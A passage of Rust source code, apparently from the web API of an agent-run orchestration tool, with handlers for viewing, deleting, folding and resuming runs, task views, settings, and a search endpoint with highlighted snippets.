3303 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3304 }),
3305 })
3306 .collect(),
3307 }
3308}
3309
3310impl RunDetailView {
3311 fn of(
3312 state: RunState,
3313 live: crate::run::Liveness,
3314 superseded_by: Option<String>,
3315 latest_attempt: Option<LatestAttempt>,
3316 task: Option<TaskRef>,
3317 ) -> Self {
3318 Self {
3319 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3320 prose_md: run_prose_md(&state),
3321 origin_label: crate::run::origin_label(state.origin.as_ref()),
3322 live,
3323 unmerged_by_design: state.unmerged_by_design(),
3324 done: state.status.done(),
3325 superseded_by,
3326 latest_attempt,
3327 task,
3328 state,
3329 }
3330 }
3331}
3332
3333async fn run_detail(
3334 State(ui): State<Arc<Ui>>,
3335 Path(id): Path<String>,
3336) -> ApiResult<Json<RunDetailView>> {
3337 blocking(move || {
3338 let id = resolve_run(&ui.runs, &id)?;
3339 let state = read_run(&ui.runs, &id)?;
3340 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3341 let live = state.liveness(daemon_claims);
3342 let superseded_by = ui
3343 .queue
3344 .superseded_by(&id)
3345 .as_deref()
3346 .map(crate::run::short_of)
3347 .map(str::to_owned);
3348 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3352 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3353 short: head.short().to_owned(),
3354 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3355 status: head.status,
3356 done: head.status.done(),
3357 id: head.id,
3358 })
3359 });
3360 let max_attempts = daemon::Opts::default().max_attempts;
3361 let task = ui
3362 .queue
3363 .list()
3364 .into_iter()
3365 .find(|t| t.runs.contains(&id))
3366 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3367 Ok(Json(RunDetailView::of(
3368 state,
3369 live,
3370 superseded_by,
3371 latest_attempt,
3372 task,
3373 )))
3374 })
3375 .await
3376}
3377
3378async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3387 let (id, unreadable) = {
3388 let ui = Arc::clone(&ui);
3389 blocking(move || {
3390 let id = resolve_run(&ui.runs, &id)?;
3391 match read_run(&ui.runs, &id) {
3392 Ok(state) => {
3393 let in_flight =
3394 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3395 state
3396 .ensure_can_delete(in_flight)
3397 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3398 let dir = ui.runs.join(&id);
3399 std::fs::remove_dir_all(&dir)
3400 .with_context(|| format!("remove run directory {}", dir.display()))?;
3401 Ok((id, false))
3402 }
3403 Err(_) => {
3404 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3408 return Err(ApiError::conflict(format!(
3409 "run {id} is being worked on by a live daemon right now"
3410 )));
3411 }
3412 Ok((id, true))
3413 }
3414 }
3415 })
3416 .await?
3417 };
3418 if unreadable {
3419 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3420 .await
3421 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3422 }
3423 let ui = Arc::clone(&ui);
3424 let done = id.clone();
3425 blocking(move || {
3426 ui.questions.abandon_for_run(
3429 &done,
3430 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3431 )?;
3432 Ok(())
3433 })
3434 .await?;
3435 Ok(StatusCode::NO_CONTENT)
3436}
3437
3438async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3462 let (id, state) = {
3463 let ui = Arc::clone(&ui);
3464 blocking(move || {
3465 let id = resolve_run(&ui.runs, &id)?;
3466 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3467 return Err(ApiError::conflict(format!(
3468 "run {id} is being worked on by a live daemon right now"
3469 )));
3470 }
3471 let state = read_run(&ui.runs, &id).ok();
3472 Ok((id, state))
3473 })
3474 .await?
3475 };
3476 let removed = match state {
3477 Some(mut state) => {
3478 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3479 .await
3480 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3481 if removed.is_empty() {
3486 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3487 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3488 }
3489 removed
3490 }
3491 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3492 .await
3493 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3494 };
3495 Ok(Json(FoldView {
3496 run: id,
3497 removed_count: removed.len(),
3498 removed,
3499 }))
3500}
3501
3502#[derive(Debug, Serialize)]
3504struct FoldView {
3505 run: String,
3506 removed: Vec<String>,
3508 removed_count: usize,
3509}
3510
3511#[derive(Debug, Deserialize)]
3514struct FoldMergedBody {
3515 #[serde(default)]
3516 pr_url: String,
3517}
3518
3519async fn run_fold_merged(
3539 State(ui): State<Arc<Ui>>,
3540 Path(id): Path<String>,
3541 Json(body): Json<FoldMergedBody>,
3542) -> ApiResult<Json<FoldMergedView>> {
3543 let pr_url = body.pr_url.trim().to_owned();
3544 if pr_url.is_empty() {
3545 return Err(ApiError::bad_request("pr_url is required"));
3546 }
3547 let (id, mut state) = {
3548 let ui = Arc::clone(&ui);
3549 blocking(move || {
3550 let id = resolve_run(&ui.runs, &id)?;
3551 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3552 return Err(ApiError::conflict(format!(
3553 "run {id} is being worked on by a live daemon right now"
3554 )));
3555 }
3556 let state = read_run(&ui.runs, &id)?;
3557 Ok((id, state))
3558 })
3559 .await?
3560 };
3561 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3562 .await
3563 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3564 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3565 .await
3566 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3567 Ok(Json(FoldMergedView {
3568 run: id,
3569 before: before.as_str().to_owned(),
3570 after: after.as_str().to_owned(),
3571 removed,
3572 }))
3573}
3574
3575#[derive(Debug, Serialize)]
3577struct FoldMergedView {
3578 run: String,
3579 before: String,
3581 after: String,
3583 removed: Vec<String>,
3585}
3586
3587async fn run_resume(
3607 State(ui): State<Arc<Ui>>,
3608 Path(id): Path<String>,
3609) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3610 let (id, state) = {
3611 let ui = Arc::clone(&ui);
3612 blocking(move || {
3613 let id = resolve_run(&ui.runs, &id)?;
3614 let state = read_run(&ui.runs, &id)?;
3615 Ok((id, state))
3616 })
3617 .await?
3618 };
3619 if let Some(to) = &state.released_to {
3620 return Err(ApiError::conflict(format!(
3621 "run {} can no longer be resumed: its worktree was released to run {}, which \
3622 took the branch over.",
3623 state.short(),
3624 crate::run::short_of(to)
3625 )));
3626 }
3627 if !state.status.resumable() {
3628 return Err(ApiError::conflict(format!(
3629 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3630 state.short(),
3631 status_word(state.status)
3632 )));
3633 }
3634 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3639 .into_iter()
3640 .next()
3641 {
3642 return Err(ApiError::conflict(format!(
3643 "the loop is running run {} right now; stop it first, or wait for \
3644 it to finish, before resuming a run by hand.",
3645 crate::run::short_of(&work.run)
3646 )));
3647 }
3648 let _resume = ui.begin_resume(&id)?;
3649
3650 let queued = RunSummary::of(
3653 &state,
3654 !ui.questions.open_for(&id).is_empty(),
3655 state.liveness(false),
3656 );
3657 let run = id.clone();
3658 tokio::spawn(async move {
3659 let _resume = _resume;
3660 match crate::graph::Runner::resume(&run) {
3661 Ok(mut runner) => {
3662 if let Err(e) = runner.execute().await {
3663 tracing::warn!("resume of run {run} stopped: {e:#}");
3664 }
3665 }
3666 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3669 }
3670 });
3671 Ok((StatusCode::ACCEPTED, Json(queued)))
3672}
3673
3674async fn run_report(
3675 State(ui): State<Arc<Ui>>,
3676 Path(id): Path<String>,
3677) -> ApiResult<impl IntoResponse> {
3678 let text = blocking(move || {
3679 let id = resolve_run(&ui.runs, &id)?;
3680 let state = read_run(&ui.runs, &id)?;
3684 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3685 let live = state.liveness(daemon_claims);
3686 Ok(format!(
3687 "{}{}",
3688 report::run(&state),
3689 report::active_seats(&state, live)
3690 ))
3691 })
3692 .await?;
3693 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3694}
3695
3696async fn run_report_json(
3700 State(ui): State<Arc<Ui>>,
3701 Path(id): Path<String>,
3702) -> ApiResult<Json<crate::report_view::RunReportView>> {
3703 let view = blocking(move || {
3704 let id = resolve_run(&ui.runs, &id)?;
3705 let state = read_run(&ui.runs, &id)?;
3706 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3707 Ok(crate::report_view::build(
3708 &state,
3709 state.liveness(daemon_claims),
3710 ))
3711 })
3712 .await?;
3713 Ok(Json(view))
3714}
3715
3716#[derive(Debug, Serialize)]
3722struct TaskView {
3723 #[serde(flatten)]
3724 task: Task,
3725 source_label: String,
3726 source_link: Option<SourceLink>,
3727 status_str: &'static str,
3728 instruction_md: Vec<md::Node>,
3732 waits_on: Vec<String>,
3736 stuck_roots: Vec<String>,
3739}
3740
3741impl From<Task> for TaskView {
3742 fn from(task: Task) -> Self {
3743 Self {
3744 source_label: task.source.label(),
3745 source_link: source_link(&task.source),
3746 status_str: task.status.as_str(),
3747 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3748 waits_on: Vec::new(),
3749 stuck_roots: Vec::new(),
3750 task,
3751 }
3752 }
3753}
3754
3755impl TaskView {
3756 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3757 let waits_on = inv.waits_on(&task);
3758 let stuck_roots = inv
3759 .stuck_roots(&task)
3760 .iter()
3761 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3762 .collect();
3763 Self {
3764 waits_on,
3765 stuck_roots,
3766 ..Self::from(task)
3767 }
3768 }
3769}
3770
3771#[derive(Debug, Default, Deserialize)]
3774#[serde(default)]
3775struct ReposQuery {
3776 refresh: u8,
3777}
3778
3779async fn repos_list(
3786 State(ui): State<Arc<Ui>>,
3787 Query(q): Query<ReposQuery>,
3788) -> ApiResult<Json<Vec<repos::Repo>>> {
3789 let refresh = q.refresh != 0;
3790 blocking(move || {
3791 let (cfg, _) = Config::discover(&ui.repo, None)?;
3792 Ok(Json(ui.repos_cache.list(
3793 &cfg.repos.roots,
3794 Duration::from_secs(cfg.repos.scan_ttl),
3795 refresh,
3796 )))
3797 })
3798 .await
3799}
3800
3801async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3805 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3806}
3807
3808#[derive(Debug, Deserialize)]
3810#[serde(deny_unknown_fields)]
3811struct RolesBody {
3812 revision: String,
3814 #[serde(default)]
3816 roles: std::collections::BTreeMap<String, Vec<String>>,
3817 #[serde(default)]
3821 counts: std::collections::BTreeMap<String, serde_json::Value>,
3822}
3823
3824async fn settings_put_roles(
3830 State(ui): State<Arc<Ui>>,
3831 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3832) -> ApiResult<Json<settings::SettingsView>> {
3833 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3834 blocking(move || {
3835 settings::save(
3836 &ui.repo,
3837 ui.machine_config.as_deref(),
3838 &body.revision,
3839 &body.roles,
3840 &body.counts,
3841 )
3842 .map(Json)
3843 .map_err(|e| match e {
3844 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3845 settings::SaveError::Refused(m) => ApiError {
3846 status: StatusCode::UNPROCESSABLE_ENTITY,
3847 message: m,
3848 },
3849 settings::SaveError::Internal(m) => ApiError::internal(m),
3850 })
3851 })
3852 .await
3853}
3854
3855async fn queue_list(
3856 State(ui): State<Arc<Ui>>,
3857 Query(q): Query<ListQuery>,
3858) -> ApiResult<Json<Vec<TaskView>>> {
3859 blocking(move || {
3860 let tasks = ui.queue.list();
3861 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3862 Ok(Json(
3863 tasks
3864 .into_iter()
3865 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3866 .map(|t| TaskView::with_inventory(t, &inv))
3867 .collect(),
3868 ))
3869 })
3870 .await
3871}
3872
3873const SEARCH_MAX_HITS: usize = 100;
3875const SEARCH_MAX_QUERY: usize = 200;
3877const SEARCH_MAX_TERMS: usize = 8;
3878const SNIPPET_BEFORE: usize = 50;
3880const SNIPPET_AFTER: usize = 110;
3881
3882#[derive(Debug, Deserialize)]
3884struct SearchQuery {
3885 #[serde(default)]
3886 scope: String,
3887 #[serde(default)]
3888 q: String,
3889}
3890
3891#[derive(Debug, Serialize, PartialEq, Eq)]
3894struct SnippetPart {
3895 text: String,
3896 hit: bool,
3897}
3898
3899#[derive(Debug, Serialize)]
3900struct SearchHit {
3901 id: String,
3902 field: String,
3904 snippet: Vec<SnippetPart>,
3905 #[serde(skip_serializing_if = "Option::is_none")]
3909 run: Option<RunSummary>,
3910}
3911
3912#[derive(Debug, Serialize)]
3913struct SearchView {
3914 scope: String,
3915 q: String,
3916 hits: Vec<SearchHit>,
3918 total: usize,
3920 truncated: bool,
3921 unreadable: usize,
3924}
3925
3926fn text_leaves<'a>(
3929 value: &'a serde_json::Value,
3930 field: &'a str,
3931 out: &mut Vec<(&'a str, &'a str)>,
3932) {
3933 match value {
3934 serde_json::Value::String(s) => out.push((field, s)),
3935 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3936 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3937 _ => {}
3938 }
3939}
3940
3941fn fold_char(c: char) -> char {
3944 c.to_lowercase().next().unwrap_or(c)
3945}
3946
3947fn search_terms(q: &str) -> Vec<String> {
3949 let mut terms: Vec<String> = Vec::new();
3950 for t in q.split_whitespace() {
3951 let t = t.to_lowercase();
3952 if !terms.contains(&t) {
3953 terms.push(t);
3954 }
3955 }
3956 terms
3957}
3958
3959fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3962 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3963 let mut first: Option<usize> = None;
3964 for term in terms {
3965 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3966 first = Some(first.map_or(at, |f| f.min(at)));
3967 }
3968 let (field, text) = leaves[first?];
3970 Some(SearchHit {
3971 id: String::new(),
3972 field: field.to_owned(),
3973 snippet: snippet_of(text, terms),
3974 run: None,
3975 })
3976}
3977
3978fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3981 let chars: Vec<char> = text.chars().collect();
3982 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3983 let needles: Vec<Vec<char>> = terms
3984 .iter()
3985 .map(|t| t.chars().map(fold_char).collect())
3986 .collect();
3987 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3988 let mut best: Option<(usize, usize)> = None;
3989 for n in needles.iter().filter(|n| !n.is_empty()) {
3990 if n.len() > chars.len() || to == 0 {
3994 continue;
3995 }
3996 let last = (to - 1).min(chars.len() - n.len());
3997 if from > last {
3998 continue;
3999 }
4000 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4001 && best.is_none_or(|(b, _)| i < b)
4002 {
4003 best = Some((i, i + n.len()));
4004 }
4005 }
4006 best
4007 };
4008 let Some((start, _)) = find(0, chars.len()) else {
4009 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4011 return vec![SnippetPart {
4012 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4013 hit: false,
4014 }];
4015 };
4016 let lo = start.saturating_sub(SNIPPET_BEFORE);
4017 let hi = (start + SNIPPET_AFTER).min(chars.len());
4018 let mut parts: Vec<SnippetPart> = Vec::new();
4019 let mut push = |s: &[char], hit: bool| {
4020 if s.is_empty() {
4021 return;
4022 }
4023 let text: String = s.iter().collect();
4024 match parts.last_mut() {
4025 Some(p) if p.hit == hit => p.text.push_str(&text),
4026 _ => parts.push(SnippetPart { text, hit }),
4027 }
4028 };
4029 if lo > 0 {
4030 push(&['\u{2026}'], false);
4031 }
4032 let mut at = lo;
4033 while at < hi {
4034 match find(at, hi) {
4035 Some((s, e)) => {
4036 push(&chars[at..s], false);
4037 let shown = e.min(hi);
4039 push(&chars[s..shown], true);
4040 at = shown;
4041 }
4042 None => {
4043 push(&chars[at..hi], false);
4044 at = hi;
4045 }
4046 }
4047 }
4048 if hi < chars.len() {
4049 push(&['\u{2026}'], false);
4050 }
4051 let mut prev_space = false;
4054 for p in &mut parts {
4055 let mut out = String::with_capacity(p.text.len());
4056 for c in p.text.chars() {
4057 if c.is_whitespace() {
4058 if !prev_space {
4059 out.push(' ');
4060 }
4061 prev_space = true;
4062 } else {
4063 out.push(c);
4064 prev_space = false;
4065 }
4066 }
4067 p.text = out;
4068 }
4069 parts.retain(|p| !p.text.is_empty());
4070 parts
4071}
4072
4073fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4075where
4076 I: IntoIterator<Item = (String, serde_json::Value)>,
4077{
4078 for (id, doc) in docs {
4079 let mut leaves = Vec::new();
4080 leaves.push(("id", id.as_str()));
4083 text_leaves(&doc, "", &mut leaves);
4084 if let Some(mut hit) = search_document(terms, &leaves) {
4085 view.total += 1;
4086 if view.hits.len() < SEARCH_MAX_HITS {
4087 hit.id = id;
4088 view.hits.push(hit);
4089 }
4090 }
4091 }
4092 view.truncated = view.total > view.hits.len();
4093}
4094
4095fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4102 let opener = talk
4103 .turns
4104 .iter()
4105 .find(|t| t.who == crate::talk::Who::Operator)
4106 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4107 .unwrap_or("");
4108 let title: String = if opener.chars().count() > 96 {
4109 opener.chars().take(95).chain(['\u{2026}']).collect()
4110 } else {
4111 opener.to_owned()
4112 };
4113 let turns: Vec<serde_json::Value> = talk
4114 .turns
4115 .iter()
4116 .map(|t| {
4117 let who = match t.who {
4118 crate::talk::Who::Operator => "operator",
4119 crate::talk::Who::Agent => "agent",
4120 };
4121 serde_json::json!({ who: t.body })
4122 })
4123 .collect();
4124 serde_json::json!({ "title": title, "turns": turns })
4125}
4126
4127async fn search_get(
4134 State(ui): State<Arc<Ui>>,
4135 Query(q): Query<SearchQuery>,
4136) -> ApiResult<Json<SearchView>> {
4137 let query = q.q.trim().to_owned();
4138 if query.is_empty() {
4139 return Err(ApiError::bad_request("q must not be empty"));
4140 }
4141 if query.chars().count() > SEARCH_MAX_QUERY {
4142 return Err(ApiError::bad_request(format!(
4143 "q is longer than {SEARCH_MAX_QUERY} characters"
4144 )));
4145 }
4146 let terms = search_terms(&query);
4147 if terms.len() > SEARCH_MAX_TERMS {
4148 return Err(ApiError::bad_request(format!(
4149 "q has more than {SEARCH_MAX_TERMS} terms"
4150 )));
4151 }
4152 let scope = q.scope;
4153 if scope != "runs" && scope != "tasks" && scope != "chats" {
4154 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4155 }
4156 blocking(move || {
4157 let mut view = SearchView {
4158 scope: scope.clone(),
4159 q: query,
4160 hits: Vec::new(),
4161 total: 0,
4162 truncated: false,
4163 unreadable: 0,
4164 };
4165 if scope == "runs" {
4166 let mut unreadable = 0;
4167 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4171 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4172 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4173 Some(v) => Some((id, v)),
4174 None => {
4175 unreadable += 1;
4176 None
4177 }
4178 }
4179 });
4180 search_docs(&terms, docs, &mut view);
4181 view.unreadable = unreadable;
4182 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4185 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4186 for hit in &mut view.hits {
4187 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4188 hit.run = summarize(
4189 [state],
4190 &open_runs,
4191 &claimed,
4192 &superseded,
4193 |p| probe.borrow_mut().status(p),
4194 |p| probe.borrow_mut().started_at(p),
4195 )
4196 .pop();
4197 }
4198 }
4199 } else if scope == "chats" {
4200 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4201 view.unreadable = unreadable;
4202 search_docs(
4203 &terms,
4204 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4205 &mut view,
4206 );
4207 } else {
4208 let docs = ui.queue.list().into_iter().filter_map(|t| {
4209 let mut v = serde_json::to_value(&t).ok()?;
4210 if let Some(o) = v.as_object_mut() {
4213 o.insert("filed_by".to_owned(), t.source.label().into());
4214 }
4215 Some((t.id, v))
4216 });
4217 search_docs(&terms, docs, &mut view);
4218 }
4219 Ok(Json(view))
4220 })
4221 .await
4222}
4223
4224#[derive(Debug, Serialize)]
4226struct TaskRunView {
4227 n: usize,
4229 id: String,
4230 short: String,
4231 kind: &'static str,
4233 status: Option<&'static str>,
4235 readable: bool,
4237 provisional: bool,
4239 description: String,
4241 outcome: String,
4243 created_at: Option<Timestamp>,
4244 pr: Option<String>,
4245 exit: RunExit,
4247 attempt: AttemptCost,
4249 branch: Option<String>,
4251}
4252
4253#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4255#[serde(rename_all = "snake_case")]
4256enum RunExit {
4257 Unreadable,
4258 Interrupted,
4260 Parked,
4261 QuotaStall,
4262 ResumedQuotaStall,
4266 Merged,
4267 Ready,
4268 Superseded,
4269 AlreadyInBase,
4272 Stalled,
4274 HeldWithPr,
4276 NoopHeld,
4277 Spent,
4279 InProgress,
4280}
4281
4282#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4283#[serde(rename_all = "snake_case")]
4284enum AttemptCost {
4285 Spent,
4286 Refunded,
4287 None,
4288 Unknown,
4290}
4291
4292impl RunExit {
4293 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4294 let Some(s) = s else {
4295 return Self::Unreadable;
4296 };
4297 let status = s.status;
4298 if resumed_later {
4299 Self::Interrupted
4300 } else if s.parked {
4301 Self::Parked
4302 } else if !status.done() {
4303 Self::InProgress
4304 } else if matches!(status, RunStatus::Merged) {
4305 Self::Merged
4306 } else if matches!(status, RunStatus::Ready) {
4307 Self::Ready
4308 } else if matches!(status, RunStatus::Superseded) {
4309 Self::Superseded
4310 } else if matches!(status, RunStatus::AlreadyInBase) {
4311 Self::AlreadyInBase
4312 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4313 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4314 {
4315 if resumed {
4316 Self::ResumedQuotaStall
4317 } else {
4318 Self::QuotaStall
4319 }
4320 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4321 Self::HeldWithPr
4322 } else if matches!(status, RunStatus::VerifiedNoop) {
4323 Self::NoopHeld
4324 } else if matches!(status, RunStatus::Stalled) {
4325 Self::Stalled
4326 } else {
4327 Self::Spent
4328 }
4329 }
4330
4331 fn cost(self) -> AttemptCost {
4332 match self {
4333 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4334 Self::Merged
4335 | Self::Ready
4336 | Self::Stalled
4337 | Self::HeldWithPr
4338 | Self::NoopHeld
4339 | Self::Spent => AttemptCost::Spent,
4340 Self::InProgress => AttemptCost::None,
4341 Self::AlreadyInBase => AttemptCost::Refunded,
4342 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4343 AttemptCost::Unknown
4344 }
4345 }
4346 }
4347
4348 fn edge_label(self, status: Option<&str>) -> String {
4350 match self {
4351 Self::Unreadable => "record unreadable".to_owned(),
4352 Self::Interrupted => "interrupted before the run finished".to_owned(),
4353 Self::Parked => "parked, attempt refunded".to_owned(),
4354 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4355 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4356 Self::Merged => "merged".to_owned(),
4357 Self::Ready => "ready, not merged".to_owned(),
4358 Self::Superseded => "superseded by a later attempt".to_owned(),
4359 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4360 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4361 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4362 Self::NoopHeld => "verified no-op".to_owned(),
4363 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4364 Self::InProgress => "in progress".to_owned(),
4365 }
4366 }
4367
4368 fn explains(self, end: TaskStatus) -> bool {
4371 match self {
4372 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4373 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4374 Self::Unreadable | Self::Superseded | Self::Ready => true,
4375 _ => end != TaskStatus::Done,
4376 }
4377 }
4378}
4379
4380#[derive(Debug, Serialize)]
4382struct TaskDetailView {
4383 #[serde(flatten)]
4384 task: TaskView,
4385 max_attempts: usize,
4388 history: Vec<TaskRunView>,
4389 flow: FlowView,
4390 followup_origin: Option<FollowUpOrigin>,
4392 runs_unreadable: usize,
4394 attempts_note: &'static str,
4396}
4397
4398const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4399and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4400on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4401in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4402
4403fn review_branch_of(instruction: &str) -> Option<&str> {
4406 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4407 rest.split('`').next().filter(|b| !b.is_empty())
4408}
4409
4410struct RunSlot<'a> {
4412 n: usize,
4414 resumed: bool,
4416 resumed_later: Option<usize>,
4418 prior: Option<(&'a str, RunStatus)>,
4420 last: bool,
4421}
4422
4423fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4426 let RunSlot {
4427 n,
4428 resumed,
4429 resumed_later,
4430 prior,
4431 last,
4432 } = at;
4433 let short = run::short_of(id).to_owned();
4434 let Some(s) = state else {
4435 return TaskRunView {
4436 n,
4437 id: id.to_owned(),
4438 short,
4439 kind: "unknown",
4440 status: None,
4441 readable: false,
4442 provisional: false,
4443 description:
4444 "This run's record could not be read by this build (written by a different \
4445 magi, or removed), so what kind of attempt it was is unknown."
4446 .to_owned(),
4447 outcome: String::new(),
4448 created_at: None,
4449 pr: None,
4450 exit: RunExit::Unreadable,
4451 attempt: AttemptCost::Unknown,
4452 branch: None,
4453 };
4454 };
4455 let branch = review_branch_of(&s.instruction);
4456 let kind = if resumed {
4457 "resume"
4458 } else if branch.is_some() {
4459 "review"
4460 } else if task.solo || s.candidates.len() == 1 {
4461 "solo"
4462 } else {
4463 "competition"
4464 };
4465 let mut description = match kind {
4466 "resume" => {
4467 format!("Resumed run {short}: the same run carried on instead of competing again.")
4468 }
4469 "review" => format!(
4470 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4471 branch.unwrap_or_default()
4472 ),
4473 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4474 _ => format!(
4475 "Competition: {} candidates judged blind.",
4476 s.candidates.len().max(1)
4477 ),
4478 };
4479 if !resumed && let Some((p, st)) = prior {
4480 description.push_str(&format!(
4481 " A retry: run {p} before it ended {}.",
4482 st.display_label()
4483 ));
4484 }
4485
4486 let status = s.status;
4487 let provisional = matches!(status, RunStatus::Stalled)
4488 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4489 let head = if resumed_later.is_some() {
4490 String::new()
4491 } else {
4492 match status {
4493 RunStatus::Merged => "Merged.".to_owned(),
4494 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4495 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4496 RunStatus::AlreadyInBase => {
4497 "Already in the base: this change landed under other commits, nothing was left to land."
4498 .to_owned()
4499 }
4500 RunStatus::Stalled => {
4501 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4502 .to_owned()
4503 }
4504 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4505 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4506 RunStatus::VerifiedNoop => {
4507 "Verified no-op: the candidates found nothing to change.".to_owned()
4508 }
4509 other if other.done() => format!("Ended {}.", other.display_label()),
4510 other => format!("In progress ({}).", other.display_label()),
4511 }
4512 };
4513 let why = if let Some(k) = resumed_later {
4514 let cause = if s.quota.is_empty() {
4521 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4522 } else {
4523 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4524 };
4525 format!(
4526 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4527 )
4528 } else if s.parked {
4529 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4530 .to_owned()
4531 } else if !status.done()
4532 || matches!(
4533 status,
4534 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4535 )
4536 {
4537 String::new()
4538 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
